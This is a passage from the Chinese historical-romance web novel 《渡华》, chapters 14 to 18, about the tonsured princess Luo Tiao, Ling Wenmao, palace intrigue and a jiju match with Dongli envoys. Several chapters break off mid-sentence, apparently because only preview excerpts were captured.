这是一句依旧摇摆不定的措辞,先还俗,意思是还俗之后再做他论。凌文袤觉得没意思,直起腰板道:“此话正合我意,无论如何也要等你先把乌发养回来。” 二人的关系似乎已经述说明朗,气氛却冷到极点,偏厅内鸦雀无声,连窗外的鸟鸣都没敢靠近。 一旁席榻四角压着四只金蟾席镇,其中两只正龇牙咧嘴面朝着他俩,好似在看笑话。 虚情假意递进的如此之快,心知肚明的两人,竟同时有那么一刹那觉得合拍。 骆苕纤眉压得很深,看不见眼眸,凌文袤以一个高姿态光明正大地盯着她,几乎能看见她鼻尖渗细密的汗,呼吸有些许短促。 良久,凌文袤打破沉闷:“把手伸过来。” 骆苕倒是听话,眼眸微抬,直直地将手伸到他身前,掌心朝上像在索要东西。 凌文袤右手捏住她伸来的手腕,左手从怀中掏出两串念珠挂在了她的腕子上:“在你还俗之前,我就是你的堂前客,入幕宾。” 男女之间应当越授受越亲才是,拿不拿的得下,他也只有这点本事。 两串念珠是凌文袤跟赫连萨朵讨来的。 凌文袤跟赫连萨朵讨要念珠,赫连萨朵不明就里,追着问,凌文袤才说了实话,说是拿念珠送人,儿子借花献佛,还是长公主这尊佛。 赫连萨朵思绪翻飞,长公主明面上好歹是个僧尼,凌文袤明目张胆地出入公主府,凌晖有意将骆苕推向自己儿子,却没有与她商讨儿子的正经婚嫁,赫连萨朵直觉这里头藏着事。 凌文袤刚升为“抚东将军”,因一场败仗削了职召回京都,将军遍地的世道,失去一个“抚东将军”的军衔倒也无所谓。 只是成家立业,成家立业,家没成业没立,实在会愁煞人,凌文袤好歹也是他凌晖的嫡子。赫连萨朵和凌文袤前几日还拿骆苕打过趣,骨相皮相好是赫连萨朵说的。 倘若凌文袤和骆苕真有个什么情况,赫连萨朵反倒会焦灼,长公主这人太烫手,也不知从前替皇帝骆骞办过什么事,上头还有个皇太后,皇太后身后是慕容氏和裴氏,万一日后长公主再生出些事端连累凌文袤,得不偿失。 况且世子凌承佐曾求尚过长公主。 赫连萨朵察觉自己该为儿子往长远些想。 偏厅内,骆苕将两串念珠收入掌中,一串砗磲璎珞,一串珊瑚璎珞,两串璎珞珠粒颗颗浑圆,因长久没有佩戴或盘数稍显黯淡,应该是两件旧物,她收拢掌心道:“多谢。”< 14. 第十四章 《渡华》全本免费阅读 东刕大王子入京都接亲不知何故耽搁,一连三日京都还没有响动,凌文袤送过念珠之后便没来过公主府。 骆苕恍惚觉得那日凌文袤说的是醉酒之词,手中的念珠却无时无刻在提醒她,她与凌文袤已经有了瓜葛。 因东刕大王子入京会来拜见骆苕,公主府已经做好准备,东刕势大不可得罪,万一东刕执意宫中召见,骆苕在心底也做好了万全的准备。 阿石嫌东面长廊对岸的哨岗太显眼,所以盘算着每日砍竹给长廊修上密密的篱笆,从出东门开始,留下过道,两边一直延伸到长廊,再是靠河面的长廊那侧,五仗长的篱笆墙,把对岸视线遮得干干净净。 篱笆墙内,置一方席榻,一方小圆几,摆上茶具便是黄昏消遣纳凉的好去处。 茶具方摆妥,茶水还未来得及斟上,宫里便来人传旨,让骆苕次日去往御苑为大嵘和东刕再次结盟诵读佛经,祈愿两国风雨同舟,百姓安康。 在御苑诵读佛经,这有些出人意料。 第二日天还未泛白,要去往御苑的骆苕理正前胸略歪的僧衣交叠处,喃喃自语:“想必此时费覃已抵达中州岐城了罢。” 平平手捧铜镜不知费覃是谁,也不知其中缘由,一旁正在洗手的申怡接过话:“想必是到了,再过些时日定会有信儿,殿下稍安勿躁。”说完擦干手将装剃刀的木盒安置好,捧起两串念珠等候骆苕挑选。 骆苕理好僧袍,匆匆撇过一眼,挑来珊瑚念珠在掌中攥握,珠粒颗颗饱满圆润却还不趁手。申怡拿起搁置在案上昨日宫里送来的经书,随骆苕出府。 骆苕只身一人上了由神鹰卫护送的车驾,没让平平和申怡相随。 平平和申怡二人紧着眉望着远去的车驾,昨日宫里送来的经书骆苕默诵到后半夜才安寝,今早又不让婢女相随,她们有些担忧,心里顿时空落落的。 车马平缓,行至岔路口时后方汇入一辆同样由神鹰卫护送的车驾,骆苕听到动静挑开帘帐一寸往后望去。 侧旁驱马前行的护卫见状解释:“长公主勿惊,后车是雁鸣山送丹药的青苒,从前进宫为殿下送过丹药,不知殿下可还记得?” 骆苕没有答话,抽指放下帘帐。 护卫提高声音继续道,“今日迎宾典礼,我们大嵘和东刕要比上几场击鞠赛,所以内司命雁鸣居士炼制几方丹药助助兴。” 大嵘与东刕来往日渐频繁,这次要接安乐公主入东刕,来势浩荡,特意遣来男女两支击鞠队入京都较量一番,面上是增进两国情谊,面子底下是大嵘对东刕张狂的姑息,不论输赢,东刕来使都将带走大量的财物、美人,东刕曾妄言,大嵘是他们的纳贡之臣。 等马车抵达御苑门口,骆苕下车还未等青苒的那架马车驶来,她命护卫:“那女子送完丹药,你们即刻送她离开,不得让她逗留。” 护卫见过青苒,对长公主的吩咐似乎懂得其中意思,貌美的青苒若让东刕那帮狼子野心之徒瞧见后见色起意,极有可能直接被留住,况且这样的典礼,谁会为了一无名女子去得罪东刕。 “是,长公主。”护卫应下话,留下其中一位护卫交代一二后便护送骆苕入园。 入园后,骆苕换乘车驾抵达法场,众僧尼已等候多时。骆苕双手合十同师太相互施礼后盘腿在蒲团上,秉着珊瑚念珠闭上双眼诵经静心。 五仗外高高架起的柴薪烈焰冲天,哔啵声不绝于耳。 待皇帝和东刕大王子众人祈天礼毕,来法场投薪祝祷之后,骆苕和一众僧尼才能正式诵念昨日送来的经文。 安乐公主不是第一位和亲东刕的公主,大嵘往年也没有用这么庄重的礼法对待东刕,掌握实权后的凌晖一心拉拢东刕,不吝财物,不吝美人,最大限度的给予东刕排场。 新一轮的朝阳平地而起,撕开混沌天幕肆无忌惮地扑面而来,一旁燃着熊熊烈焰的祭火霎时黯淡下去。 骆苕停下盘数念珠的手,再次双手合十睁开眼眸。 日出,他们的祭天礼已经完成。 她要在灼心的红日之下诵读经文,直到这场法事结束。 今日大约会是她的修罗场。 ** “诶,凌宪,听说这次东刕送来八位美人,你可见过?”策马跟在文武百官最后头,前往御苑的慕容余小声问凌文袤。 凌文袤面色淡淡,一身吉服没能压住渗出来的疲惫,他反问:“慕容无双,除了吃酒和美人,你还能不能有点别的爱好?” 慕容余对凌文袤的嫌弃一贯不在意,反而兴致盎然笑眯眯地回:“当然有,一会儿击鞠赛,我定能拔得头筹,拿了赏我送你。” 慕容余一副信誓旦旦的样子让凌文袤无可奈何。 说起竞技赛,慕容余总有一股使不完的蛮劲,且非赢不可,这方面可以说是天赋异禀,但一上战场却怂得要命,一丝风吹草动便直往人身后退,妥妥一副下一瞬弃甲会当逃兵的模样。 击鞠赛,慕容余和京都的那帮勋贵们自然志在必得。 “行。”凌文袤笑问,“你可知头筹是何物?” “何物?” “东刕美人。” “呃……” “你舍得送?” “我当然舍不得。”慕容余接过这茬调侃,“难怪喊你跟我们一同习练你偏不来,怕赢了,美人缠身?” 凌文袤唇角一扬:“击鞠讲究配合,我与他们又不熟,何必凑那热闹。” “你跟他们不熟没关系,我跟你熟啊,只要你愿意上,我立马让人腾个位置给你,就凭咱俩这天衣无缝的配合,不得惊翻全场?”说时慕容余声线突然压的很低,故作神秘兮兮,“长公主眼叼,你不趁机施展施展个人魅力,哪会入她的眼?”慕容余仔细想了一下有些惋惜,“不对,今日长公主要事在身,想必是入不了眼。” 凌文袤睨慕容余一眼,没说话。 慕容余换回笑眯眯的模样,气定神闲道:“长公主耳朵灵光得紧,只要你上场好好表现,事后我一定给你去公主府传这个话,说你英姿飒爽,勇猛无比,冠绝群雄,所向披靡……” “那大嵘的好男儿好好表现,为长公主涨涨耳。”凌文袤刚好在慕容余词穷时掐断慕容余的话,冷眼往前面飘去,长长的队伍,看不见皇帝的御驾,看不见东刕的车驾,中间阻隔着一层层的文武官员。 他说得轻描淡写却自傲,“我凌文袤。不用着。” 用不着旁人抬举他。 慕容余的视线也随凌文袤往前飘去,骆苕自请和亲东刕人尽皆知,最后东刕迎娶宁华长公主未果,只是要求让骆苕来御苑诵经祈福,权衡利弊后也算是给了凌晖面子。 大嵘到底是太弱,像一位委曲求全的质子。 今日的慕容余不免再多想一些,想到大嵘的将来,若大嵘再一味求全下去,根本没理可讲,唯有变强,手中的刀才是最硬的理。 车驾浩浩荡荡驶进御苑,百官簇拥皇帝骆炎和东刕大王子加木前往法场,朝阳照着形色浓重的吉服蜿蜒前行。 凌文袤打量前方,清一色灰土僧袍里他一眼看见了骆苕,即使还离得很远很远,她合十掌心里的那串念珠在他眼里比任何东西都显眼。 今日的她也是一出重彩戏,凌文袤挪开眼。 在皇帝骆炎 15. 第十五章 《渡华》全本免费阅读 罗伞伞盖和垂挂两侧的拖尾上绣着凤凰纹案,寓意祥瑞立足于天地间,庇佑万民。 晨阳微微透过殷红的伞盖连同阴影落在骆苕身上,她不再诵经,放眼望去。 近处偌大的御苑中庭,祭火还在呼呼窜着焰苗,再望远一些,宫俾们步履匆匆穿行而过,仔细瞧能瞧见他们鞋履上沾染上的大片泥土。 再远一些就什么都看不见了,郁郁葱葱的树冠延绵成墙,翻越过去才是击鞠场和跑马场,那面离得还很远。 明明还是从前的御苑,却已一眼无垠。 一片硕大的焰灰扶摇直上翻越重重障碍,不偏不倚落在了一名女子的月杖①上,方才女子饶有兴致地看着它飘扬、落稳,下一瞬杖柄在她掌中急速旋转,直接掸飞那片焰灰。 女子已经许多年没有见过骆苕。 儿时的骆苕时常会点拨一些人入御苑,拖拽着小毛驴来几场驴鞠。 那时的骆苕球技很差,差到让人难以直视,连看护她的乳母都比她鞠的要好一些。但骆苕好像并不在乎球技,顶着红扑扑的脸蛋乐此不疲一场又一场地鞠着,不管输赢,两面队伍赏赐的物件都非常新奇有趣。 女子记得,儿时长公主倔犟的模样很有趣。 时过境迁的今日,同样在这御苑,同样的人,她和她都已变得不再有趣。 “李印仪,赛场都已经热火朝天,你还发什么呆啊,也不去给你家贺兰郎助助威?”一位同样参加击鞠赛的女郎见这女子神游天外便扯嗓喊醒她。 李印仪收回思绪把月杖揽在身前,回得不咸不淡:“助不助威都是必赢局,我的贺兰郎何时让我失望过。” 输赢另说,但睥睨万物的姿态必须抬高,说时她的视线已经越过去老远,停留在那面东刕女子击鞠队之中。 东刕女子也已整装待发,只待男子击鞠比赛结束。 李印仪眨了眨眼,望着在风中微微抖动的苍狼旗,渐渐耷拉下来,图腾折叠处一对深幽眼眸暴露在日光下,隐隐泛起绿光。 女郎对李印仪的傲气回话已经见惯不惯,她无奈笑说:“若咱们男女两队都赢下比赛,也不知东刕那些贼货们的脸还挂得住挂不住,哎……真是年年不得消停,到时候肯定又得狠狠讹诈我们大嵘的金银奇货、软香美人。” 话到此处,李印仪心弦一紧。 大嵘和东刕再次结盟,东刕竟一改前尘,送来两万匹良驹和东刕美人作为聘礼,此举这前所未有,有些颠覆以往的认知。 东刕与大嵘交好一时,交恶一时,十年内反反复复不知有过多少回,东刕大王子加木,关于他的事迹鲜有耳闻,仿佛他的出现只是为了这次和亲。 李印仪踢了踢旁侧的月杖,说:“若输了,他们的脸能否挂的住,咱们晓不得,总之安乐公主的陪嫁不会少。” 若再要讹诈,可谓贪得无厌。 女郎拖着长腔嗟叹一声:“不扯这些,没意思。”眼瞟击鞠场,“我还是去看看他们赛事如何,瞧着呀,咱们的筹旗已经多了好几面呢。”话锋一转,嘴角衔笑,“听闻来了几位生面孔,这京都城的女郎们,早就按捺不住想去瞧瞧了。” 李印仪挑眉打趣:“那你,是得赶紧去瞧瞧。” “是,我是该赶紧去瞧瞧,”被正中下怀的女郎收起月杖,附和道,“大嵘的好儿郎最为抢手,说不定今日天赐良缘,让我这窈窕淑女终得所愿。” 稀缺的好儿郎人人惦记,若真趁此机会看对眼,往后大抵便是水到渠成的事,除去像李印仪这样遵从父母之命的,其他女郎们可自行结缘的儿郎还是比较宽泛的。 李印仪向女郎稍稍抬起下颌示意她赶紧去,女郎不再拘泥,抄着月杖大步流星而去,李印仪依旧立在树荫下,眼波随着赛场上那一抹疾驰的恣意身影流转。 她的夫君——贺兰融。 树荫下都是一会儿要上赛场的女郎们,她们各个摩拳擦掌,各自整装,有些已经离开树荫围去击鞠场边观赛,篷帐下的勋贵们,好些怕晒的或打伞或头戴幂篱三三两两也拥着去了。 京中女郎闲来无事,可供她们愉乐的全部都已滚瓜烂熟,击鞠这一项她们完全不在话下,反倒是男郎们,为了赢得比赛,近些日子起早贪黑奔腾在击鞠场。 李印仪和她的夫君贺兰融为了这场赛事准备良久。 贺兰融被调离内廷麒麟卫已经一年有余,凌晖暗里一直笼络贺兰融,贺兰容虚虚应承,只说自己理应忠于皇室。 至于忠于哪个皇室,凌晖与贺兰融都未挑明深入去说。 贺兰融作为孝玄帝骆炜诠的亲卫,曾经随骆炜诠征战过,平反过,对孝玄帝骆炜诠有着独有的忠心。 而孝玄帝骆炜诠末年昏聩,使贺兰融有心无力,短短几年的变故像钝刀剜心,铮铮铁汉的贺兰融被击得连连挫败,从义气少年快速蜕变成事不关己高高挂起的折骨男儿。 凌晖完全把持朝政后,便调离贺兰融出麒麟卫,贺兰融欣然接受,成了嬉笑怒骂的千狮卫统领,负责京都市集安防,兢兢业业。 贺兰融与李印仪成婚数年,儿女绕膝,说得最多的一句便是,得过且过,天地辽阔。 树荫下的李印仪纹丝未动,手臂支在月杖上神色淡然。 赛场上,贺兰融一记贴地长球,风速穿过马腹下的四蹄奔向慕容余,慕容余见机月杖捶地,捞起彩鞠凌空扫射,彩鞠再次奔回贺兰融,贺兰融眼风瞄准门心,彩鞠以迅雷之势正中门心。 顿时,场边呐喊声不绝于耳。 判官举旗高呼:“繁京队得一筹!” 贺兰融亮笑一声调转缰绳,向慕容余投去一眼:“兄弟,好样的!”这样接二连三酣畅淋漓的配合,实在令人舒爽。 慕容余振臂一挥得意道:“小意思!” 二人不再客套,调整队形再次备战,临开鞠前贺兰融望向场边飞快扫视,未能捕捉到李印仪。 场外的女郎们尖嗓呼唤,对场上的男子们指指点点,讨论热烈,目及场边逮到孤零零一人的凌文袤又是一番指点。 “对面那人是谁家儿郎?瞧着不像是击鞠队的。”女郎杏眼定在凌文袤身上,推开周边的嘈杂问得咬牙切齿,“天煞的,长的可够峻朗的,不知家中可有夫人了?” 众人被女郎逗得笑嘻嘻,有人跟着问:“哪位胆大的女郎,可敢上前问上一问?” 两位出声的女郎年纪稍长,早已抛开少女的娇羞为在场的女郎们推动气氛,迟迟不见人应答便觉无趣,目光转回赛场。 “听说那位是凌家郎。”有位知情少女弱弱提声说道。 目光刚转回赛场的女郎转身看了少女一眼后,再次落回凌文袤身上,问:“是大冢宰家的儿郎?” 少女应是。 女郎饶有深意地撇了一下嘴:说:“那便是凌家世子咯,这可高攀不起。”心中暗暗嘀咕,大伙都在议论对面儿郎身份,而这少女迟迟才开口,真扫兴。 听闻是凌家世子,众女郎顿时偃旗息鼓,有些庆幸方才没上前相问,今日这场合白吃一顿闭门羹,还落个攀龙附凤的名声可真会闹大笑话。 少女眼中含着羞涩,甜甜地说:“并非凌世子,是凌五郎。” 闻言,女郎们又开始交头接耳,跃跃欲试。 世子凌承佐和凌五郎到底不一样,往后他们各自所处的位置不言而喻。 “原来是凌家五郎啊……”女郎吁气一顿,貌似对凌家儿郎的话题不太感兴趣了,只敷衍似的撂了一句,“那你们还有机会。” 他们凌家还得靠这些京中世家贵胄联姻,在场的这里女郎们个个家世殷实,祖辈们都是靠功绩立足大嵘,单论家世并不比凌晖差,凌世子夫人不敢随便攀附,但凌五郎夫人,谁都能配。 至于女郎为何对凌家儿郎的话题不太感兴趣,是因有些闷忿。 大嵘的皇帝还坐在龙椅上,暗地里不服凌晖的大有人在,特别是从前实力相当的同僚,转眼将变成你的君王,谁人会诚心顺服? 况且凌晖掌握实权之后,没有醒目的政绩加持,确实难以服众。 凌晖早年以战功著称,孝玄帝器重,手握天下兵权又不得不服。 有个胆大的女郎,拖着长长的语调调侃:“就是那个在湧州丢了城池,被撤职的凌五郎吗?何时躲回京都了呢。千载难逢的机会,谁攀的起赶紧去攀啊,就冲这倜傥长相,日日放在闺中赏着横竖也不亏……”女郎还有半句嫌弃话没出口,不紧不慢地指向赛场,“女郎们,今日场上这么多勇猛矫健的好儿郎,你们可得加把劲,快些心想事成 16. 第十六章 《渡华》全本免费阅读 少监引骆苕往击鞠场那面去,车驾中的骆苕一直掀着竹帘,临近击鞠场时骆苕喊停车驾:“稍等,容我问句话。” 马车刚停连马凳都未摆好,她便直接跳了下去,少监没来得及往细处想,只怕骆苕就此撂挑子不想去博望台,恐不好交差,惶恐地往骆苕说的那面廊亭望去,廊亭里护卫旁赫然立着青苒。 骆苕脚伐疾,少监跟得急。 “殿下,您慢些。”少监掖起袍裾往前追。 青苒立在廊下远远地迎骆苕过来,待骆苕近身,她屈身行礼问安,骆苕没看她直接问一旁的护卫:“她,为何还没离开?” 不等护卫回话,青苒诺诺地抢先接过应答,语速反倒慢得恬静:“回长公主,今日送来的生津消暑丸有二百十六盒,数量多,翁公特地嘱咐,让我在此等空匣,带回雁鸣山。” 盛生津消暑丸的木匣不仅有封条还设有机关,而机关关卡只有宫中的徐内司能打开,此次数量多,青苒便跟雁鸣居士李潜求了个情,让她在御苑等候空匣。 御苑盛况,京都多半的勋贵都聚集在此,李潜意味深长地看了眼满怀憧憬的青苒,便答应下来,只道年轻人喜爱热闹让青苒进御苑后谨慎着点。 护卫等青苒慢慢讲完才应和:“回长公主,青苒小娘子所言属实,雁鸣居士特地叮嘱,空匣今日带回去,等稍晚一些,卑职定会安全地送青苒小娘子回雁鸣山。” 方才神鹰卫协领道长公主万千交代,让青苒送去丹丸后立即离开,不得在击鞠场和博望台那面逗留,所以送完丹丸后护卫赶紧带人往这面阴凉僻静的廊亭来。 击鞠场那边很热闹,护卫和青苒二人在鸟语花香僻静的廊亭,容易让人滋生出许多生机勃勃的念想,青苒的一举一动都落在护卫眼中。 二人异口同辞地一应一和,骆苕不得不将视线掠过护卫后停在青苒脸上,青苒螓首虽低低地扣在胸前,但骆苕依旧能瞧见蔓延在她左侧脸颊的疤,这片用细粉粉饰过的疤让骆苕生出一阵惊绞。 片刻静默后骆苕轻柔相问:“你近来可好?” 青苒拢紧衣袖:“谢长公主挂怀,民女一切安好。” 骆苕颔首后又静默一瞬才吩咐少监:“让人送些茶点瓜果。” 方才骆苕急匆匆地赶来,只为这无关紧要的问话未免太过反常,少监一面应是一面抬眼望向青苒,见青苒没出声,便轻声提点:“长公主殿□□恤,还不谢过长公主?” 青苒领悟过去,惶惶地屈身领恩。 少监听说过,往宫中为长公主送过几回丹药的小娘子,今日一见,果然名不虚传,雁鸣山下来的小娘子长的果真出尘脱俗。 “走吧。”骆苕转过身去,少监以免正事耽搁,立时迈步跟上,二人行过一段后,忽闻后面传来青苒略显焦促的呼声,“长公主殿下!我何时再为您送去玉颜丹?” 青苒急切的声音使骆苕脚下一滞,在煊盛的日光下回身正对青苒:“回去转告雁鸣居士,遣你明日午时来公主府,我有旧事与你一叙,今日不便久留。” 该来的总会来的。 青苒已经蛰伏太久,有些沉不住了,骆苕也不能再继续回避她,若青苒不喊停骆苕,或许骆苕还可以再拖一拖,等下次或者下下次再去面对青苒。 闻言,青苒心中一喜一骇,定睛望着骆苕,四目相对。从前骆苕刻意躲避青苒的眼神,而这一次骆苕不再如从前,青苒从她眼中看到了明明白白的释然。 “是,长公主。”青苒悠然直起腰身,回得也颇为释然,仿佛卸下了千金重担。 好些话好些话她想质问骆苕,她迫切的想知道,她的长兄白言霈到底去了哪里。 青苒伪装的太久太久,如果骆苕继续回避,青苒将会按自己的方式去公主府找她。 身份暴露又能如何,不过是为奴为婢为妾,这世上已经没有白氏一族,死又何妨,终究谁能逃过它。 玉颜丹是李潜潜心研制的养颜圣品,唯有宫廷女眷配得上如此极致圣品,青苒去雁鸣山就是为了有接近骆苕的机会,借机力荐,李潜很快应下了她推荐,往宫中内司府递信,最后由青苒送往平宁宫供骆苕消享。 青苒还记得第一次进宫送玉颜丹骆苕见到她时错愕的表情,往后每月送玉颜丹进宫,骆苕只是命人收下玉颜丹却不肯与她相见。 青苒不想再日复一日,年复一年地等待下去,她要骆苕面对她,她要骆苕告诉她,她的长兄被她藏去了何处。 “殿下,该走了。”少监赶紧催人,他现在只想着眼皮子底下的事,将人送去博望台。 护卫再次作揖行礼恭送,而青苒直直地立在一旁不为所动,目送一袭僧袍的骆苕上车驾离去,嘴上念念有词:“大嵘的长公主可真好看啊,只可惜僧袍加身误下终身。” 大嵘最夺目的长公主骆苕和大嵘最好的长兄白言霈,这对壁人的婚姻被骆炜诠亲手凌迟,而代价便是整个大嵘,在九泉下的那个皇帝,亲手将江山赠与了凌晖。 多么的荒唐可笑。 在侧的护卫望着突然之间清冷到让人却步的青苒,他的脊背有些许发凉,方才那个诺诺的小娘子消失地无影无踪,这样的女人,他告诫自己应当远离。 话虽如此,毕竟人还在跟前,堪堪生出的那一丁点理智,在刚萌芽的念想面前显得更加稚嫩。 骆苕重回车驾,忡忡心事满上心头。 当年诛族事发,她人单势微,送不走白言霈,只能诓骗懵懂的青苒,先把她送出是非之地。三个月的囚禁之后,骆苕急急派人去打探青苒的消息,结果已人去楼空。 是人去楼空,可以确认青苒在涪郡咏竹居住过一些时日,但青苒很快就离开了。 那纵最初护送青苒的人马,当年未回京都回信,至今杳无音信。 那时的一切,杂乱无章,骆苕万念俱灰。 多年沉寂,青苒归来,她是如何回来的,脸上的那片疤痕又是如何落下的,骆苕未敢相问,她怕,她怕极了,怕真相面目可憎难以承受。 那是白言霈捧在掌心的妹妹。 车驾停在博望台的墙垣下,骆苕下车仰望上去,小小的人在高耸入云的博望台下渺小单薄,而博望台在辽远的天际下同样渺小单薄,一重叠着一重没有尽头,不知谁才是真正掌管天下的主。 骆苕又向击鞠场那面望去,人墙挡住了她的视线,似乎男子击鞠比赛已经结束,她回首拾阶而上。 在步云阁骆苕净面后,换下被汗尘沾染过的僧服,随一众婢女往博望台前。 跨进台前时瞧见贺兰融正在禀报击鞠场相关事宜,末了,贺兰融向骆苕鞠来一礼后拱手上座:“陛下,臣先告退。” 行过一切繁文缛节后,骆苕才落了座,不过片刻,礼官来禀女队赛事就绪,请皇帝骆炎和东刕加木王子前去击鼓开赛。 座上的皇帝骆炎朝向凌晖,声色唯唯:“我体乏,劳烦大冢宰代我前去。” 凌晖“唔”下一声起身同加木一同前往赛场,直到二人远去,骆炎才对骆苕倾吐:“阿姊,炎儿今早去给母后请安,听闻母后眼疾发作絮絮疼痛不止,召御医诊治后才知,母后是因夜里流泪所致,不过阿姊不必担忧,御医已经开了外敷内服药剂,母后圣体必无大碍。” 稍作停顿他说,“这几日,炎儿还请阿姊进宫陪陪母后才好。” 骆炎小小的身躯端坐在大座之中,两只小手交叠伏在腹上,双腿垂落够不着地,重重的帝冠压得他越发瘦小,像一枚不堪匹配的珠 17. 第十七章 《渡华》全本免费阅读 所有人重新归位,凌晖低声指使身旁的侍卫:“去传,陛下召见凌统领。”护卫得命退去。 因骆苕清修在身不宜饮酒,宫中为她特地准备的是一壶梅花露,宫俾斟盏间隙,加木向随从史吉要来佛经,亲手送至骆苕座前:“这册佛经受家母所托,叮嘱我赠与宁华长公主。” “多谢。”骆苕起身双手合十掬礼后接过,“待大王子接亲回王庭,替宁华向可敦问安。” 等看清佛经书面后心下一震,骆苕掀眸望向加木,直道:“《郅律所说经》拓本有三,也是郅律法师亲手所拓,以便后世传阅,奈何宁华苦寻多年都不曾寻得拓本真迹,怎料今日得见拓本真迹,是宁华三生有幸,宁华谢可敦心慈,了却此生夙愿。” 明显,骆苕因得见拓本真迹,言语起了波澜,语速有些快,里中带有感激。 《郅律所说经》乃郅律法师凿刻磐石而成,后拓印三册,历经战乱几番流转,原经被毁,而拓本亦流落尘寰不见踪影,皇太后慕容瑾曾清浅地打探过佛经拓本下落,骆苕便把此事牢记在心,一直以长公主的名义寻找经书,她知道自己母亲不争不抢的性子,若非有十分的念想,万不会劳神打探经书,所以今日得到《郅律所说经》,也算是替母亲疗愈一丝丝的心疾。 而远在东刕的东刕可敦,竟能将世人找寻的拓本真迹直接赠与她,难能可贵。 加木话浅,对佛事亦不甚了解,只说:“想必,物尽其用也是郅律法师的夙愿。” “大王子请入坐。”骆苕敬请加木入座,“怪宁华礼疏,一时未想好如何回礼,等你们返程,还需大王子替宁华给可敦带份薄,礼以表谢意。” 加木没有说话只是揖了个礼作为应承,直至他落座骆苕才折返回去。 二人的坐席正正相对,骆苕举盏敬酒,盏中的梅花露沁脾甘甜,凉凉的,博望台上的气氛也顺着这盏梅花露下肚顷刻凉了下来。 少焉。 御正上大夫谢奎适时托住将要冷下去的场,恭敬建议:“陛下、大王子、长公主、大冢宰,请一同上前观战。” 谢奎不曾想,东刕来的大王子是这样冷静平和的性子,即便方才苍狼队男子击鞠输掉比赛,加木依旧平和寡言,与以往的东刕狂妄来使完全相反,不禁疑惑,东刕怎会养出这样一位克己复礼的迥异王子。 皇帝骆炎像得了命似的走下帝座,邀加木上前观战。 众人一同起身,左右相拥前往前沿正中高台。骆苕跟随在骆炎右侧,珊瑚念珠一直挂在虎口之上,珠串随步子轻轻摇晃,无声无息地蹭着素净僧衣。 正中高台有白玉阶梯直抵地面,这是帝王才能走的宽阔阶梯,自然前方视野一览无余,而方才骆苕与骆炎所站的左侧阑干连结处是臣子才可行的旁阶,骆苕在高台放眼瞭望。 还未见凌文袤身影。 四人站在各自的罗伞下观看赛况,正值苍狼队击中一球,谢奎盛赞:“妙呀,此球宛若游龙,怎就神不知鬼不觉地进了呢。” 凌晖平日里不曾关注女子击鞠,此等力量不足柔美有余的愉情名目,他天生不喜,只是方才那一进球百转千回却承接流畅,找不出一点破绽,他赞同谢奎所言:“刚柔并济,珠联璧合,着实无懈可击。” 加木回以微笑,说得很随意:“这场赛事,我亲自挑选的这帮女郎们可谓准备多时,日日苦练,夜夜捉摸,若还输,真不知该如何是好了,她们正铆足劲,想替东刕男儿们扳回一城。” 凌晖左臂负在身后,宽袖下的手掌稍稍攥紧,颌面修剪妥帖的髯须微微抖动:“繁京再下一城或苍狼扳回一城,都不妨碍今夜的酒盏常满长盈。”侧首相问,“大王子可赞同?” 老姜辛辣无趣,句句不离国家兴安。 加木诚面带微笑,诚然道:“大冢宰说的是,愿我东刕和大嵘携手并进,今夜的酒盏常满长盈。”说时眼角向骆炎瞥过去,傀儡小皇帝的身量还没及他的腰,余光再越过去一些,映进眼帘的是一抹珊瑚红。 执罗伞的宫俾仔细地瞧着日光,每一瞬都确保主人都落在罗伞的阴影里,四架形制各异的罗伞浴在日光里随风飘飘渺渺。 这一处是博望台至高点,为吸收天地精华并未设顶。 半年前,来这博望台最多的便是先帝骆骞,先帝骆骞十分喜爱击鞠,常驻御苑,他嫌这处高台冬不蔽雪,夏不遮阳,曾下旨改建,后来骆骞暴毙,改建的旨意也便不了了之。 内侍放置好备下的几案软席后,等到四人落座,不再费心费神地高举罗伞,宫俾才宽下心来。 “阿姊……”骆炎朝向骆苕蓦然开口,口吻好似央求又似命令,“宁华,朕……朕今日想同你赛一场驴鞠。” 骆炎即位,因惊吓浑浑噩噩了好几月,近日才稍稍缓和,今日的他却异常活跃,身兼太师之职的凌晖冷眼相看。 骆苕回望过去,慢慢道:“陛下,宁华僧尼之身,恐有不便。” 骆炎却道:“朕……朕大病初愈,又长居禁中,今日只是想多玩一会儿,等到他们散去,你就陪朕玩一会儿,可好?” 一向聪慧的骆炎突然变得执拗,虽听话改了自称,可还是一副稚童的模样,并未将自己当做一国之君,骆苕似乎瞧出了里中异样,默然看向凌晖。 凌晖声色寻常:“陛下,臣以为您的龙体要紧,过些时日再鞠不迟。” 骆炎身子一缩,声若游丝:“可……可我身体已经好了……” 不待凌晖出声,加木便说:“若皇帝想玩,我可以陪您切磋一二。” 骆炎喜出望外,眸子变得铮亮:“大王子是说,可以陪我驴鞠?”突然觉得不妥,“可……可你是大人,骑个毛驴会让人笑话的。” 加木笑了笑,好似已想象出自己骑在驴背的滑稽模样:“不过是玩乐,试试也无妨,待他们散去便没人看得见,我也想试试驴鞠的滋味。” 话已至此,凌晖不好再拒却,便吩咐人去准备毛驴。 骆苕自打搬进公主府就没再过问宫中的事,今日骆炎直接驳了凌晖的面子执意驴鞠,这是为何? 明知她落发为尼,清修在身不宜玩乐,可也执意让她多陪陪他,又是为何?骆炎在演绎害怕,且不惧怕被人看穿,一个七岁稚童,若萌生出掌控局面的念头,会很危险。 骆苕紧盯骆炎,慧而弱的骆炎,这样会加速自己的死亡进程,她竟又生出一丝怜悯,希望骆炎能活着,只是活着。 骆苕同样怜悯自己生出一丝又一丝的怜悯,自嘲可笑的妇人之仁。 匆匆挪开眼,飘向赛场 18. 第十八章 《渡华》全本免费阅读 凌文袤的这一举动,在场所有人都已经捕捉到,像众目睽睽之下即逗弄了加木又想引起骆苕的注意。 加木脸颊收紧向骆苕望去。 凌文袤短短时间内第二次挑衅他,似乎在暗嘲他不得不向权宜低头,他加木不能娶的大嵘宁华长公主,却是他们凌氏的掌中物。 人越在意什么事就越对这件事敏感,随之而来的便是臆想和愤怒。加木急速跳出自己所造的幻境,即刻否决掉方才自己的臆想,平下愤怒。 凌文袤并非在逗弄他,大嵘实权在握的大冢宰凌晖尚且畏惧东刕,何况他的儿子,凌晖不会纵容他的儿子如此放肆。 骆苕不紧不慢放下杯盏,平静地看了加木一眼后将目光投向凌晖。 她是他们的俎上鱼肉,此事与她又有何干系? 少焉,听见凌晖对加木歉意道:“大王子海涵,犬子向来莽撞,脾性不知天高地厚,一门心思全在刀枪骑射上,若他输了,作为父亲,我愿代他受罚。” 加木凤眼微蹙。 好一个父慈子孝,一唱一和,连输都已经想好台阶,不出意外,凌晖会是将来的一国之君,怎好去罚这头辛辣老姜。 